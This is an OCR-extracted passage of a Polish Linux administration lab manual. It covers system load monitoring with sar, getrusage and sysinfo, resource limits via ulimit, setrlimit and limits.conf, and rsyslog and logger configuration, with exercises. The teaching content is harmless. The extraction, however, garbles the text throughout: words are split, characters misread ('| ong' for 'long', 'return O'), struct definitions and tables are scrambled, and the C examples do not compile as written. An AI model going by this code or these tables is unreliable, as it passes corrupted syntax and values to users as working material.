czaszakonczenia  -e[ hh:mm:ss]
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$ sar -P ALL -f /var/log/sysstat/sal9

Li nux 4.6.0-kali1-686-pae (kali) 09/19/2018 _i686_ (2 CPU)

12:28: 23 PM CPU Yuser %i ce Ssystem % owait Yst eal % dl e
12:28:31 PM al | 3.57 0. 00 1.85 0. 00 0. 00 94. 58
12:28: 31 PM 0 4.41 0. 00 1.96 0. 00 0. 00 93. 63
12:28: 31 PM 1 2.72 0. 00 1.85 0. 00 0. 00 95. 43
Aver age: CPU Yuser %i ce %system % owait Ust eal % dl e
Aver age: al | 0.41 0. 00 0.29 0. 00 0. 00 99. 30
Aver age: 0 0. 47 0. 00 0. 30 0. 00 0. 00 99. 22
Aver age: 1 0.35 0. 00 0.27 0. 00 0. 00 99. 37

Przyktad 4-8 Obciazenie systemu wedtug programu sysst at

teraz.

Niektdre parametry programu sar pokazano w tabeli:

podane przez sar dladnia 19, godziny 12: 28: 23 do

Polecenie Opis

sar -P ALL Obcigzenie procesoréw
sar -r Obcigzenie pamiec

sar -b Obcigzenie systemu we/wy
sar —n DEV Obcigzenie sieci

sar -A Wszystkie parametry

Tab. 4-8 Parametry programu sar

4.8

M onitor owanie zasobdw z poziomu programu

Zasoby uzywane przez system i proces moga by¢ réwniez monitorowane z poziomu programu. Do tego celu stuzy

funkcjar usage i

#i ncl
#i ncl

int g
Gdzie:
Who

usage

struc

b

sysi nf o.

page recl ainms (soft
page faults (hard page faults) */

CPU time used */
system CPU time used */
maxi mum r esi dent set size */

shared nmenory size */
unshared data size */
unshared stack size */
page faults) */

bl ock i nput operations */

bl ock out put operations */

| PC nessages sent */

| PC nessages received */
signal s received */

vol untary context sw tches */

ude <sys/tine. h>
ude <sys/resource. h>
etrusage(i nt who, struct rusage *usage);
RUSAGE_SELF — informacja dotyczy tego procesu
RUSAGE_CHI LDREN - informacja dotyczy proceséw potomnych
RUSAGE_THREAD - informacja dotyczy tego watku
Struktura zawierajacainformacje o zasobach
t rusage {
struct tineval ru_utime; /* user
struct timeval ru_stinme; /*
| ong ru_maxrss; /*
| ong ru_ixrss; /* integral
| ong ru_idrss; /* integral
| ong ru_isrss; /* integral
| ong rumnflt; /*
| ong ru_mjflt; /*
| ong ru_nswap; /* swaps */
| ong ru_i nbl ock; [*
| ong ru_oubl ock; /*
| ong ru_nmsgsnd; /*
| ong ru_nmsgrcyv; /*
| ong ru_nsignal s; [*
| ong ru_nvcsw, /*
| ong ru_ni vesw, [*

i nvol untary context sw tches */
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Przyktad wykorzystania monitorowania zasobdw z poziomu programu podano poniej.

#i ncl ude <stdio. h>
#i nclude <tine. h>
#i ncl ude <stdint. h>
#i ncl ude <sys/tine. h>
#i ncl ude <sys/resource. h>
#i ncl ude <uni std. h>
int main(int argc, char *argv[]) {
struct rusage ru;
struct tinmeval utine;
struct tineval stineg;
int i,j;
for(j=0;j<10;j++) {
for (i = 0; i < 10000000; i++) {
int x;
X +=i;
}
sl eep(1);
getrusage( RUSAGE_SELF, &ru);
utime = ru.ru_utine;
stinme = ru.ru_stine;
printf("ru utime: %1d [sec]: %d [usec], :ru_stime: %1ld [sec]: %Id
[usec]\n",
(int64 _t)utinme.tv_sec, (int64_t)utinme.tv_usec,
(int64 _t)stinme.tv_sec, (int64_t)stine.tv_usec);
}
return O;
}

Przyktad 4-9 Monitorowanie czasu zuzywanego przez proces
Inng funkcja stuzaca do monitorowania obciazenia systemu jest sysi nf o.

#i ncl ude <sys/sysinfo. h>
int sysinfo(struct sysinfo *info);

info Struktura zawierajaca informacje o obciazeniu systemu

struct sysinfo {

| ong upti ne; /* Seconds since boot */

unsigned long loads[3]; /* 1, 5, and 15 m nute |oad averages */
unsigned long totalram /* Total usable main nmenory size */
unsi gned | ong freeram /* Avail abl e nenory size */
unsi gned | ong sharedram /* Amount of shared nmenory */
unsi gned long bufferram /* Menory used by buffers */
unsi gned long total swap; /* Total swap space size */
unsi gned long freeswap; /* Swap space still available */
unsi gned short procs; /* Nunber of current processes */
char _f[22]; /* Pads structure to 64 bytes */
b
4.9 Zadania

49.1 Badaniejakie pliki otworzyl dany proces
W nowej konsoli uruchom program nrtc i wyswietl za jego pomoca zawarto$é¢ dowolnego pliku. Nastepnie za pomoca
programu | sof okresl numer deskryptora (uchwytu) odpowiadajacego temu plikowi.

4.9.2 Obciazenie procesora
Napisz program ktéry obciagza wszystkie dostepne procesory. Parametr ni ce dla procesu potomnego ma by¢
przekazany jako parametr. Przyktadowo polecenie
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$./obciaz 2 4 6 8

ma powodowa¢ uruchomienie czterech procesdw potomnych i przekaza¢ im parametr nice kolgjno 2,3,6,8. Kazdy
program mawykonywac obciazajgce procesor czynnosci i zwraca¢ czas wykonania. Uzyj funkcji i nt ni ce(i nt
i nc) . Zaobhserwuj obcigzenie systemu przy pomocy narzedzi: monitor systemu, t op, tinme, uptine,

pi dst at .

4.9.3 Operacjewejsciawyjscia
Napisz program czytajacy dane z wybranego pliku i policz czytane bajty. Poréwnaj otrzymane wyniki z wynikami
podanymi w plikach /proc/[pid]/ioi /proc/[pid]/fdinfo.

4.9.4 Obciazenie pamieci operacyjnej

Napisz program ktéry obciagza pamie¢ operacyjna. Program ma pobiera¢ kolejne obszary pamieci operacyjng i
wyswietla¢ te wielkosci. Do pobierania pamieci mozna uzy¢ funkcji voi d *nal | oc(si ze_t si ze) . Zaobserwyj
dziatanie programu za pomoca narzedzi: virst at, free, pidstat

4.9.5 Obciazenie systemu wejscia/ wyjscia

Napisz program ktory obcigza system wejscialwyjscia. Program ma wspétbieznie czyta¢ okreslony plik i kopiowad
jego zawartos¢ do nowego pliku. Zaobserwuj dziatanie programu za pomoca narzedzi: i ost at, iotop i

pi dst at .

4.9.6 Obciazenie procesora przez proces— z monitor owaniem zasobdéw
Zmodyfikuj program z punktu 4.9.2 tak aby proces macierzysty monitorowat zuzycie czasu procesora dla procesow
potomnych. Wykorzystaj funkcje get r usage( RUSAGE_CHI LDREN, &r u) .

4.9.7 Pomiar obcigzenia systemu
Wykorzystuja¢ funkcje sysi nf o napisz program monitorujacy obciazenie systemu. Uwzgednij: obciazenie procesora,
Wolng pamieé, liczbe procesow.
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5. Ustanawianie ograniczen na uzycie zasobow

W kazdym systemie komputerowym zasoby potrzebne do tworzenia i wykonywania procesdw sg ograniczone.
W przypadku gdy w systemie dziata wiele procesdw wazng rzecza jest zabezpieczenie systemu przed wyczerpaniem
zasobow spowodowanym przez nadmierne zuzycie zasobow przez procesy wchodzace w sktad aplikaci.

IEW bezpiecznym systemie operacyjnym powinien istnie¢ mechanizm limitujacy pobieranie zasobow przez
procesy.

System Linux posiada mechanizmy pozwal ajace na ustanowienie limitu na takie zasoby jak:

Czas procesora,
pami¢é operacyjna,

pamie¢ wirtualna

wielkos¢ pamieci pobrangj ze sterty,

wielkos¢ segmentu stosu,

maksymal na liczba deskryptorow plikow,

maksymal na wielkos¢ pliku utworzonego przez proces

maksymal na liczba procesow potomnych tworzonych przez proces.
Maksymalna liczba blokad plikow i obszaréw pamieci operacyjnej

Dla kazdego z tych zasobow istnigje:

ograniczenie mickkie (ang. soft limit)
ograniczenie twarde (ang. hard limit).

Ograniczenie mickkie moze by¢ zmieniane przez proces biezacy ae nie moze przekroczy¢ twardego.
Ograniczenie twarde moze by¢ zmieniane przez proces 0 statusie administratora.

51 Testowaniei ustawianie limitu zasob6w z poziomu shell
Do testowaniai ustawiania poziomu zuzycia zasobu przez uzytkownika stuzy polecenieul i mi t

ulimt [-acdf H mpsStuv] [limt]
Opcje:
-S | Zmien lub pokaz migkkie ograniczenie
-H | Zmien lub pokaz twarde ograniczenie
-a Pokaz wszystkie ograniczenia
-C Maksymalna wielkos¢ pamigci operacyjnej
-d Maksymalna wielkos¢ segmentu danych
- f Maksymalna wielkos¢ tworzonego pliku
- Maksymalna wielkos¢ pamieci operacyjnej ktéra moze by¢ zabl okowana
-n M aksymalna liczba deskryptoréw plikéw
-p Maksymalna wielkos¢ bufora na tacza nienazwane
-S Maksymalna wielkos¢ stosu
-t Maksymalna wielkos¢ jednostek czasu procesora
-u M aksymalna liczba tworzonych przez uzytkownika procesow
-V Maksymalna wielkos¢ pamigci wirtualnej dla procesu
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$ulinmt -a

core file size (blocks, -c) O

data seg size (kbytes, -d) unlinted
scheduling priority (-e) O

file size (blocks, -f) unlimted
pendi ng signals -i) 16382

max | ocked nenory (kbytes, -1) 64

max menory size (kbytes, -m unlinted
open files (-n) 1024

pi pe size (512 bytes, -p) 8

PCSI X nessage queues (bytes, -q) 819200
real-tinme priority (-r) O

stack size (kbytes, -s) 8192

cpu tine (seconds, -t) unlimted
max user processes (-u) unlimted
virtual nenory (kbytes, -v) unlimted
file locks (-x) unlimted
$ulimt -Sn 10

$ulinmt —n

10

Przyktad 5-1 Testowaniei ustawianie limitéw zasobow
Ustawiane limity zmieniane sa w jednostkach 1024 bajtowych z wyjatkiem:
-t — sekundy,
-p —bloki 512 bajtéw
-n — sztuki
-u—sztuki,
52 Testowaniei ustawianie limitu zasob6w z poziomu programu
Do testowania limitéw zasobéw stuzy funkcjagetrlimt.
getrlimt —pobranieaktualnego limitu zasobow

int getrlimt(int resource, struct rlimt *rlp)

Gdzie:
resource Okreslenie zasobu.
rip Wskaznik na strukture zawierajaca biezace i maksymalne

ograniczenie.

Funkcja zwraca O gdy sukces a—1 gdy btad. Jako pierwszy parametr funkcji poda¢ nalezy numer testowanego zasobu
ktére podaje tabela. Funkcja powoduje skopiowanie do struktury r | p aktualnych ograniczen. Struktura ta zawiera co
najmniej dwa elementy:

rlimcur - zawieraograniczenie mickkie

rlimnmax zawiergjacy ograniczenie twarde.

Do ustawiania limitow zasobdéw stuzy funkcjasetrlimt.

setrlimt - ustanowienie nowego limitu zasobow

int setrlimt(int resource, struct rlimt *rlp)

Funkcja zwraca 0 gdy sukces a —1 gdy btad. Gdy proces prébuje pobraé zasoby ponad przydzielony limit system
operacyjny moze:

1.  Zakonczy¢ proces.

2. Wysla¢ do niego sygnat .
3. Zakonczy¢ btedem funkcje pobierajaca dany zasob.
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Oznaczenie Opis Akcja przy przekroczeniu

RLIM T_AS Pamie¢ wirtualna Wystanie sygnatu SIGSEGV do procesu

przekraczajacego zasob

RLIM T_CORE Pamie¢ operacyjna Zakonczenie procesu z zapisaniem na dysku

obrazu pami¢ci operacyjnej.

RLIM T_CPU Czas procesora Woystanie sygnatu SIGXCPU do procesu

przekraczajacego zasob.

RLI M T_DATA Wielkos¢ pamieci pobrangj ze Funkcja pobierajaca pamigé konczy si¢
sterty. btedem.

RLIM T_FSI ZE Maksymalnawielkos¢ pliku Woystanie sygnatu SIGXFSZ do procesu
utworzonego przez proces. Gdy 0 to | przekraczajacego zasob. Gdy sygnat jest
zakaz tworzenia plikow. ignorowany to plik nie zostanie powigkszony

ponad limit.

RLI M T_NOFI LE M aksymalna liczba deskryptoréw Funkcja tworzaca ponad limitowe pliki
plikow tworzonych przez proces. skonczy si¢ btgdem.

RLIM T_STACK Maksymalny rozmiar stosu Woystanie sygnatu SIGSEGV do procesu
przekraczajacego stos.
RLI M T_NPROC Maksymalna liczba proceséw Procesy przekraczajace limit nie beda
potomnych tworzonych przez utworzone.
proces.

RLI M T_MSGQUEUE | Pamie¢ zajmowana przez kolgjki
komunika téw POSI X

Tab. 5-1 Zestawienie niektérych zasobdw systemowych podlegajacych ograniczeniu

Ustanowienie ograniczenie RLI M T_CPU na czas zuzycia procesora w systemach dziatajacych nieprzerwanie nie ma
duzego zastosowania

#i ncl ude <stdlib. h>
#i ncl ude <sys/resource. h>
int main(int argc, char *argv[]) {

int res, i, num= 0;
struct rlimt rl;
printf(" CUR MAX \ n");

getrlimt(RLIMT_CPU, &l);

printf("CPU %l % \n",rl.rlimcur, rl.rlimmax);
getrlimt(RLIMT_CORE, &) ;

printf("CORE % % \n",rl.rlimcur, rl.rlimmax);
ri.rlimcur = 2;

setrlimt(RLIMT_CPU, &1);

while (1);

return O;

}

Program 5-1 Programr | i mit. c testujacy i naktadajacy ograniczeniana pobierane przez proces zasoby

Gdy przydzielony czas procesora ulegnie wyczerpaniu proces zakonczy sie¢ z komunikatem:

$CPU time limt exceeded (core dunped)

53 Ustanawianie ogr aniczen na uzycie zasobéw dla uzytkownikow

System Linux umozliwia ustanowienie limitu na wymienione wyzej zasoby dla poszczegdlnych uzytkownikdw. Limity
takie zapobiegaja nadmiernemu uzyciu zasobdw przez danego uzytkownika, co mogto by prowadzi¢ do sytuacji gdy
inni uzytkownicy nie otrzymuja potrzebnych im zasobéw. Ustawienie limitéw na zasoby odbywa sie przez edycje pliku
/etc/security/limts.conf. Wigceg informacji na temat pliku znalez¢ moznaw podreczniku systemowym
piszac:

$man linits. conf

Plik zawieralinie postaci:
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<domai n> <type> <itenp <val ue>

Gdzie:

<domai n> nazwa uzytkownika
nazwa grupy (poprzedzona znakiem @
znak * dladomysinego uzytkownika

<type> typ ograniczeniasof t lubhard, -dla soft ihard
<itene

core limits the core file size (KB)

data maximum data size (KB)

fsize maximum filesize (KB)

mem ock maximum locked in memory address space (KB)

nofile maximum number of open files

st ack maximum stack size (KB)

cpu maximum CPU time (minutes)

nproc maximum number of processes

as address space limit (KB)

max| ogi ns maximum number of logins for this user except for thiswith uid=0
axsysl ogi ns | maximum number of all logins on system

priority the priority to run user process with (negative values boost process priority)
nmsggueue maximum memory used by POSIX message queues (bytes) (Linux 2.6 and higher)
ni ce maximum nice priority alowed to raise to (Linux 2.6.12 and higher) values: [-20,19]
rtprio maximum realtime priority alowed for non privileged processes
chr oot the directory to chroot the user to

* sof t core 0

r oot har d core 100000

* hard nofile 512

@t udent hard npr oc 20

@aculty soft npr oc 20

@aculty har d npr oc 50

ftp har d npr oc 0

@t udent - max| ogi ns 4

@00: soft cpu 10000

600: 700 hard | ocks 10

Przyktad 5-1 Przyktad pliku/ et ¢/ security/linmits. conf
Informacje natemat limitow zasob6w mozna uzyskaé za pomoca polecenia
man 5 limts. conf

5.4 Zadania

5.4.1 Ustawianiei testowanie limitow uzycia zasobéw z poziomu shell

W systemie Linux istnieje mozliwosé ograniczenia wielkosci zasobu przyznawanego procesom [10]. Ograniczeniu
podlega¢ moze czas zuzycia procesora, wielkos¢ pamieci zajmowanej przez proces, maksymalngj liczby deskryptorow
plikow i inne parametry. Z poziomu shella mozna uzyskiwac informacje o ograniczeniach zasobu za pomoca polecenia
ulimit. Zapoznaj si¢ z tym poleceniem w podrgczniku man (man 1 bash). Wyswietl na terminalu aktua ne wielkosci
ograniczen na zasoby:

ulimt -a

Ustaw z poziomu shell’ a podane nizej ograniczenia zasobdw i napisz zestaw programow / skryptow wytwarzajach
sytuacje ich przekroczenia. Sytuacjata maby¢ wykrytai zasygnalizowana.

Nalezy przeprowadzi¢ testy dla nastepujacych zasobdéw:
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RLIMT_CPU Czas zuzycia procesora

RLI M T_DATA Wielkos¢ pamieci zajmowane przez dane zainicjowane, niezainicjowane i sterte

RLIM T_FSI ZE Maksymalna wielkos¢ pliku utworzonego przez proces

RLI M T_NOFI LE | Maksymalnaliczba plikdw tworzonych przez proces

RLI M T_NPRCC M aksymalna liczba procesow tworzonych przez proces

5.4.2 Ustawianiei testowanie limitéw uzycia zasobdw z poziomu programu
Napisz program test_limit testujacy ustawienie limitow zasobow i wytwarzajacy sytuacje ich przekroczenia. Sytuacjata
ma by¢ wykrytai zasygnalizowana. Nalezy uzy¢ funkcji:

int getrlimt(int resource, struct rlimt *rlin -testowanielimituzasobu
int setrlimt(int resource, const struct rlimt *rlim - ustawianielimituzasobu

Nalezy przeprowadzi¢ testy dla nastepujacych zasobow:

RLIMT_CPU Czas zuzycia procesora

RLI M T_DATA Wielkos¢ pamieci zajmowane przez dane zainicjowane, niezainicjowane i sterte

RLIM T_FSI ZE Maksymalna wielkos¢ pliku utworzonego przez proces

RLI M T_NOFI LE | Maksymalnaliczba plikdw tworzonych przez proces

RLI M T_NPRCC Maksymalna liczba procesow tworzonych przez proces

5.4.3 Ustawianielimitéw uzycia zasob6w dla uzytkownikow

Utworz nowego uzytkownikat est i ustandw dla niego ograniczeniadla zasobow: nofi | e, nproc, stack,
max| ogi ns, poprzez edycje plikul i m t s. conf . Nastgpnie przetestyj te limity wykorzystujac programul i mi t .
Napisz program tworz_proc.c ktory tworzy zadang jako argument liczbe procesow. Wykorzystg ten program do
sprawdzenia czy dziata ograniczenie nalimit procesdw. Sprawdz tez inne ograniczenia.
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6. Reestrator systemowy

Rejestrator systemowy jest istotng czescia systemu komputerowego wptywajaca najego bezpieczenstwo. Jezeli system
zachowuje si¢ niezgodnie z oczekiwaniami wtedy nalezy przeanalizowa¢ zapisy w plikach rejestrowych. Wiekszos¢
systemoéw rodziny Unixado rejestracji zdarzen uzywa ustugi sy sl ogd lub nowsze r sysl ogd.

aplikacja 1
syslog(...) . rejestrator
komunikaty systemowy Uop =
syslogd ' .
rlogsysd 3\
aplikacja N /—> gsy
syslog(...)

zdalny komputer

plik konfiguracji komunikaty
letc/rsyslog.conf %
Ivar/log/auth.log
rejestrator
zdarzen jadra —'
klogd Ivar/log/syslog

—

Ivar/log/kern.log

pliki rejestrowe

6.1 Demon r e estratora systemowego

Aktywnos¢ demona rejestratora systemowego sprawdzamy poleceniem: syst entt| st atus rsysl og

root @ali:~# systenct|l status rsyslog
e rsyslog.service - System Loggi ng Service
Loaded: | oaded (/1ib/systend/systenirsyslog.service; enabled; vendor preset:
Active: active (running) since Tue 2019-10-01 06:51:11 EDT; 3h 49m n ago
Docs: man: rsysl ogd(8)
http://ww. rsysl og. conif doc/

Przyktad 6-1 Sprawdzenie aktywnos¢ demona rejestratora systemowego

Demon rejestratora systemowego tworzy pliki dziennikow w katalogu / var / | og.

#tail 20 /var/log/sysl og

==> gsyslog <==

Nov 2 10:48:47 kali gnone-termninal-[1320]: GkScrol | bar 0x9b4c4d0 is drawn
wi thout a current allocation. This should not happen.

Przyktad 6-2 Przyktadowy zapisw pliku/ var /| og/ sysl og

Nie wszystkie pliki zawarte w katalogu / var / | og s obstugiwane przez rejestrator systemowy. Aby sie przekonat
ktore, nalezy sprawdzi¢ pliki konfiguracyjne. Podstawowy plik konfiguracyjny rejestratora systemowego to

/ et c/ rsysl og. conf . Dodatkowe konfiguracje zawarte sa w katalogach / et ¢/ r sysl og. d. Konfiguracja sktada
sie z regut tradycyjnych i rozszerzen (zaczynajg sie znaku $).

Tradycyjnareguta sktada si¢ z selektorai akcji. Selektor okreslatyp komunikatu oraz priorytet komunikatu a akcja co
nalezy zrobi¢ gdy komunikat si¢ pojawi. Zwykle jest to miejsce docel owe wystania komunikatu. Selektor sktada sie z:

Typu komunikatu (ang. facility)
Priorytetu (ang. priority)

Sq one liczbami i sg rozdzielone kropka.
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«4——selektor——p

typ komunikatu| «

priorytet

akcja

Dodatkowo w polu ,, selektor” mozna stosowa¢ nastepujace znaki:

przecinek , - grupuje kilkatypow komunikatow ktdrym odpowiada takie samo dziatanie.

srednik

; - grupuje kilka selektoréw ktérym odpowiada takie samo dziatanie

gwiazdka * - zastepuje polatyp komunikatu i priorytet dla wszystkich wartosci tego pola
Typy komunikatéw podane zostaty w Tabela 6-1 a priorytety w Tabela 6-2.

LOG AUTH Bezpieczenstwo i autoryzacja

LOG _AUTHPRIV Bezpieczenstwo i autoryzacja (prywatne)
LOG_CRON Demon zegarowy (cron i at)
LOG_DAEMON Demony systemowe

LOG_FTP Demon FTP

LOG_KERN Komunikaty jadra

LOG LOCALO-LOG _LOCAL7 |Komunikaty lokalne

LOG MAIL Podsystem pocztowy

LOG USER Komunikaty uzytkownika

Tabela 6-1 Opis typow komunikatéw

LOG_EMERG System jest niesprawny

LOG ALERT Akcjamusi byc podjeta natychmiast
LOG CRIT Warunki krytyczne

LOG_ERR Bledy

LOG_WARNING Ostrzezenia

LOG_NOTICE Zdarzenie normalne ale wazne
LOG_INFO Komunikat informacyjny
LOG_DEBUG Komunikat uruchomieniowy

Tabela 6-2 Opis priorytetow komunikatow. Priorytet LOG_EMERG jest ngjwyzszy LOG_DEBUG najnizszy

Jezeli w selektorze wystepuje dany priorytet to system wysyta komunikaty do wskazanego miejsca atakze wszystkie
komunikaty o wyzszym priorytecie. Gdy nie chcemy aby komunikat byt wysytany, nadawany jest mu priorytet none.

* =i nf o;

typunai | i news.

Pole akcja wskazuje co masie dzia¢ gdy pojawi si¢ dany komunikat, mozna powiedziec¢ ze wskazuje dokad i jak

mai | , news. none /var/ | og/ messages
Wszystkie komunikaty z priorytetem i nf o nalezy zapisywa¢ w pliku / var /| og/ nessages. Pominag¢ komunikaty

komunikat ma by¢ przekazany. Pole akcja moze specyfikowac:

Nazwa pliku do ktorego komunikat ma by¢ dopisany, np./ var / | og/ sysl og. Gdy przed nazwg wystepuje
znak minus, po zapisaniu ma by¢ wywotana funkcja sync powodujaca fizyczny zapis na dysku.

Nazwa terminala na ktéry ma by¢ przekazany komunikat, np. / dev/ consol e

Nazwa kolegjki FIFO (ang. named pipe) do ktorej maby¢ przekazany komunikat (tworzona przez mkf i f o).
Nazwa uzytkownika (o ile jest zalogowany), gwiazdka oznacza kazdego uzytkownika

Zdalny komputer, nazwa zaczyna sie od @, np. @finlandia. Komunikat bedzie przekazywany na port UDP

514 .

Dokumentacja typow zdarzen i priorytetdw zawarta jest w dokumentacji: man 5 rsysl og. conf.
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aut h, aut hpriv. * /var/1og/auth.log

* *.auth,authpriv.none -/var/log/syslog
daenon. * -/var /1 og/ daenon. | og
kern.* -/var/log/kern.| og
mail.* -/var/log/nmail.log
user.* -/var/1 og/user. | og
mai |l .info -/var/log/mil.info
mai | . warn -/var/log/ mail.warn
mail.err /var/log/mil.err
kern.crit @i nl andi a; RFC3164f nt
*x @192.168.0. 1
kern.crit / dev/ consol e

Przyktad 6-3 Fragment pliku konfiguracyjnego / et ¢/ r sysl og. conf

Majac nawzgledzie bezpieczenstwo, warto przechowywaé¢ komunikaty poza dyskiem maszyny na ktérej pracuje
rejestrator, aby nie mogty by¢ zniszczone lub zmanipulowane na skutek awarii lub wlamania do

systemu. Mozna do tego wykorzysta¢ zdalny komputer, na ktérej pracuje rsyslog, lub tez inny program nastuchujacy na
porcie 514/ UDP, naktory rejestrator standardowo przesyta komunikaty.

6.2 Program logger
Do wpisywania komunikatéw do dziennikdw systemowych stuzy tez program | ogger .
| ogger [opcje] [konunikat]

Jedna z opcji jest —p  typ. priorytet
Wartosci parametru typ komunikatu: aut h, aut hpri v, cron, daenon, ftp, | pr, mai |, news,
sysl og, user, uucp, | ocal 0 do | ocal 7
Wartosci parametru priorytet: emerg, al ert, crit, err,warning, notice, info,
debug
Przyktad dziatania programu | ogger dany jest ponizej.

root @ali:~# | ogger -p user.err komuni kat z Kali
root @ali:~# tail -1 /var/log/user.|og
Nov 9 10:48:25 kali root: komuni kat z Kali

Przyktad 6-4 Uzycie programu logger

uptime > uptine.txt

| ogger -p user.info -f uptine.txt

root @ali:~/1ab/BUS/ prog# tail -1 /var/log/user.|og

Sep 19 11:40:19 kali root: 11:39:09 up 6:20, 1 user, |oad average: 0.05,
0.11, 0.08

Przyktad 6-5 Uzycie programu logger do rejestracji obciazenia systemu

6.3 Dostep do funkcji logowania z programu, funkcje interfej sowe

Dostep do funkcji rejestratora systemowego zapewniony jest réwniez z poziomu programu w jezyku C. Zapewniagja go
dane ponizej funkcje.

openl og Funkcja tworzy potagczenie pomiedzy procesem arejestratorem systemowym
sysl og Dodaje wpis do pliku dziennika
cl osel og Zamyka potgczenie pomiedzy procesem a rejestratorem systemowym

Tabela 6-3 Waznigjsze funkcje uzywane do rejestracji zdarzen

Funkcjaopenl og tworzy potaczenie pomiedzy procesem a rejestratorem systemowym

#i ncl ude <sysl og. h>
voi d openl og(const char *ident, int option, int facility);
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Gdzie:

i dent Napis pojawiajacy przed kazdym komunikatem

option Flagi modyfikujace dziatanie programu

facility Specyfikuje typ komunikatu wysytajacego wiadomos¢ (wymieniony w Tabela 6-1)
LOG_CONS Pisz jednoczesnie na konsole

LOG_NDELAY Otworz potaczenie do r sysl og natychmiast anie gdy pojawi si¢ pierwszy komunikat
LOG_NDELAY Odwrotnie niz LOG_NDELAY

LOG_PERROR Pisz komunikat takze nast der r

LOG PID Do komunikatu dotacz pi d procesu

Tabela 6-4 Opis opcji funkcji openlog. Opcje moga wspotwystepowad (operacja| )
Funkcja sysl og przekazuje komunikat do rejestratora systemowego.

void syslog(int priority, const char *format, ...);
Gdzie:
priority Priorytet komunikatu — patrz Tabela 6-2
f or mat Lancuch formatujacy, jak w funkcji pri nt f

Funkcja cl osel og zanyka poiaczeni e z reestratorem systemowym..
voi d cl osel og(void);

Przyktad programu ktory zapisuje komunikat do pliku rejestrowego dany jest ponizej.

i ncl ude <stdio. h>
#i ncl ude <uni std. h>
#i ncl ude <sysl og. h>

int main(void) {

openl og("testl og", LOG PIDH LOG CONS, LOG USER);
sysl og(LOG | NFO, "Test denobna rsyslog ");

cl osel og();

return O;

}

Przyktad 6-6 Program | og_hell 0. c do testowani a procesu | ogowani a zdarzen

Po kompilacji i uruchomieniu programu mozemy zaohserwowaé rezultat jego dziatania wyswietlajgc zawartosé pliku
/var /1 og/sysl og

#tail -l /var/log/syslog

6.4 Ustuga rsyslog

W systemach rodziny Debian rejestrator r sys| ogd jest ustugg systemowa (ang. service). Ustuga moze by¢
startowana, zatrzymywana, testowanai zatrzymywana. Wykonywane jest to za pomoca poleceniaser vi ce.
- service rsyslog restart
service rsyslog stop
service rsyslog start
service rsyslog status

Przyktad restartu i testowania stanu ustugi podano ponizej.

root @al i:~/1ab/zasoby# service rsyslog restart
root @ali:~# service rsyslog status
e rsyslog.service - System Loggi ng Service

Loaded: | oaded (/lib/systend/systenirsyslog.service; enabled; vendor preset:

Active: active (running) since Wed 2016-11-02 20:12: 36 EDT; 5s ago

Docs: man: rsysl ogd(8)
http://ww. rsysl og. conf doc/

Main PID: 5510 (rsysl ogd)
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Tasks: 4 (limt: 4915)
CG oup: /systemslicel/rsyslog. service
L5510 /usr/sbin/rsysl ogd —n

Przyktad 6-7 Restart i pobieranie statusu ustugi

6.5 Rotacja plikéw rejestrowych

Oprogramowanie systemowe i aplikacyjne moze generowac duzg liczbe informacji kt6ra zapisywana jest w plikach
rejestrowych. Powoduje to niebezpieczenstwo przepetnienia urzadzenia pamigciowego. Z tego powodu starsze pliki
rejestrowe powinny by¢ co jaki$ czas kompresowane a potem kasowane. W systemie Debian Kali Linux wykonywane
to jest przez ustuge cr on ktdra uruchamia program | ogr ot at e.

#cat /etc/cron.daily/logrotate

#!/ bi n/ sh

test -x /usr/sbin/logrotate || exit O
/fusr/sbin/logrotate /etc/l| ogrotate.conf

Program | ogr ot at e maswoj plik konfiguracyjny /et c/| ogr ot at e. conf.

#l's /var/log

aut h. | og auth.log. 1 auth.log. 2. gz
daenon. |l og daenon.log. 1 daenon. | og. 2. gz
debug debug. 1

dpkg. | og dpkg.log. 1

kern. | og kern.log.1

nmessages nmessages. 1

sysl og sysl og. 1 sysl 0g. 2. gz

user. | og user.log.1

Przyktad 6-8 Zawartos¢ katalogu/ var / | og (fragment)

6.6 Zadania
6.6.1 Odczyt komunikatow z plikow rejestrowych
Sprawdz zawartos¢ katalogu/ var / | og. Odczytg i zinterpretuj wazniejsze zdarzenia, np.

kto logowat si¢ ostatnio do systemu
jaki program ostatnio zainstalowano
jaka ustuga zostata ostatnio uruchomiona

Zapisz odpowiednie komunikaty w pliku wyni ki . t xt

6.6.2 Zapiskomunikatow za pomocg programu logger

Zapozngj Si¢ ze stanem ustugi r sysl og i z jg plikiem konfiguracyjnym/ et c/ r sysl og. conf. Zapisz
komunikat ,, Hel | 0" do plikow rejestrowych / var / | og/ debug, /var/| og/ messages,
/var/log/syslog/, /var/log/user.|og.

6.6.3 Testowanie zajetosci procesora —wykor zystanie programu uptime
Napisz program ktory monitoruje zajetosé procesoraw ciagu ostathiej minuty, 5 minut i 15 minut. |nformacje te mozna
uzyska¢ uruchamijac cyklicznie program upt i me za pomoca funkcji systemowej popen( 3) .

FI LE *popen(”uptime”, "r");
Program upt i me przekazuje takie informacje nast dout .

uptinme
23:31:24 up 1 day, 3:16, 1 user, |oad average: 0.06, 0.03, 0.00

Nalezy przechwyci¢ teinformacje i przetworzy¢ obciazenie procesoraw ciagu ostatniej minuty do postaci liczbowsy.
Gdy obciazenie przekroczy zadany prog nalezy wpisat komunikat do pliku rejestrowego / var / | og/ sysl og za
pomoca funkcji sysl og(...).

6.6.4 Testowanie zajetosci procesora—wykorzystanie funkcji sysinfo

Napisz program ktory monitoruje zajetosé procesoraw ciagu ostathiej minuty, 5 minut i 15 minut. |nformacje te mozna
uzyskac przy pomocy wywotania funkcji sysinfo(3).
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int sysinfo(struct sysinfo *info)

Nalezy przechwyci¢ te informacje. Gdy obciazenie przekroczy zadany prég nalezy wpisa¢ komunikat do pliku
rejestrowego / var / | og/ sysl og zapomocg funkcji sysl og(...).

6.6.5 Przesylanie komunikatéw nainny komputer

Skonfiguruj ustuge rsyslog tak aby przesyta¢ komunikaty nainny komputer. Komunikaty wysytaj za pomoca programu
logger
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7. Demon czasowy i archiwizacja

7.1 Potrzeba ar chiwizacji

Jednym z najbardzigj istotnych funkcji systeméw komputerowych jest bezpieczne przechowywanie danych. Dane
mMoga ulec zniszczeniu na skutek:

Uszkodzenia catosci lub czesci dysku
Pomyiki operatora
Ataku zewngtrzego lub sabotazu

Przed uszkodzeniem dysku mozna si¢ zabezpieczy¢ przez zastosowanie macierzy RAID i innych technologii
zwielokrotnienia. Jednak nie zabezpieczato przed pomytkami czy atakami z zewnatrz. Stad wynika ze istnieje potrzeba
wykonywania okresowej archiwizacji danych uzytkownika. System operacyjny i aplikacje mozna uzyska¢ z
